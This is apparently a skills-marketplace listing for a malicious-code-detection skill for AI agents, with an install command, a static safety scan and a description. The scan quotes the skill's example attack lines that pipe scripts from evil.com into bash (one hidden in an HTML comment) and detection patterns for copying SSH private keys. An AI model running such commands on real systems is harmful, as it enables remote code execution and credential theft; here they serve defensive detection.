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Check Malicious Code

Listed
pachoroa·vlatest·security

This skill analyzes provided code snippets to detect potential malicious patterns and vulnerabilities, safeguarding against threats.

Repository

Install on your platform

Showing Claude Code. One command installs this skill into any of the agents below.

  1. 1

    Run this in your project

    terminal
    $ npx skills add pachoroa/mis_skills --skill check-malicious-code -a claude-code

  2. Uses the open-source skills CLI and needs Node.js. Add -g to install it for your user instead of this project.

What we know about this skill

Publisher

pachoroa

Taken from the source listing. We haven't verified who controls this account.

Install target

Live repository

Not pinned. Installing fetches whatever the repository holds at the time you run the command.

No human has reviewed this code. The checks below are a static scan of the files at one commit — nobody has run this skill or judged whether it works. A skill runs with whatever access you give your agent, so read the source before you install it.

Automated safety checks

scanned

This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.

  • No undeclared network calls: failed

    Contacts 1 host that is neither well-known infrastructure nor declared in the skill's frontmatter: evil.com.

    Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.

    Hosts contacted

    evil.comundeclared

    What it found

    • .github/skills/check-malicious-code/SKILL.md:293contacts evil.com
      Código: curl https://evil.com/script.sh | bash
    • .github/skills/check-malicious-code/SKILL.md:299contacts evil.com
      Código: <!-- curl https://evil.com/data | bash -->

  • No credential access: failed

    Touches credential material in 1 place.

    Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.

    What it found

    • .github/skills/check-malicious-code/patterns/high.json:22SSH private keys or config
      "pattern": "(cat|cp|mv|scp)\\s+.*\\.ssh/(id_rsa|id_ed25519|authorized_keys)",

  • No pipe-to-shell installers: failed

    Runs code fetched at install time in 13 places.

    No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.

    What it found (3 of 13)

    • .github/skills/check-malicious-code/SKILL.md:164remote script piped into a shell
      'hidden_commands': r'<!--[\s\S]*?(curl|wget|bash|python|exec)[\s\S]*?-->',
    • .github/skills/check-malicious-code/SKILL.md:293remote script piped into a shell
      Código: curl https://evil.com/script.sh | bash
    • .github/skills/check-malicious-code/SKILL.md:299remote script piped into a shell
      Código: <!-- curl https://evil.com/data | bash -->

  • Declares what it does: passed

    SKILL.md parses and declares a name and a description.

    SKILL.md exists, its frontmatter parses, and it declares a name and a description.

  • No obfuscated payloads: passed

    No encoded or obfuscated payloads.

    No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.

  • Pinned to a commit: passed

    Scanned pachoroa/mis_skills at f6dff57001.

    The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.

Commit
f6dff57001
Manifest
.github/skills/check-malicious-code/SKILL.md
Scanned
7 files, 1,274 lines
This is a static scan, not a review. It reads the skill's files; it does not run them, and it cannot tell you whether the skill is any good or whether the code does what its description says. A skill runs with whatever access you give your agent.
What each check looks for →

About this skill

What it does

This skill analyzes code snippets to identify potentially malicious patterns. It doesn't guarantee complete detection but aims to highlight suspicious constructs that warrant further investigation by a security expert. The skill provides insights into potential vulnerabilities and helps improve overall code safety.

When to use it

  • Code Review: Before deploying new code or integrating external libraries, use this skill to proactively identify potential risks.
  • Security Audits: Incorporate the skill into automated security audit pipelines for continuous monitoring of codebase health.
  • Learning & Education: Use it as a tool to understand common malicious coding patterns and improve secure development practices.
  • Investigating Suspicious Behavior: When encountering unexpected application behavior, use this skill to analyze relevant code segments.

Key capabilities

  • Malware pattern detection
  • Vulnerability identification
  • Code analysis for suspicious constructs
  • Provides insights into potential risks

Example prompts

  • "Analyze this Python script for malicious code: [paste code here]"
  • "Check this JavaScript function for vulnerabilities: [paste code here]"
  • "Can you identify any potentially harmful patterns in this C++ snippet? [paste code here]"

Tips & gotchas

The skill's effectiveness depends on the complexity and obfuscation of the malicious code. It is not a replacement for comprehensive security assessments performed by human experts.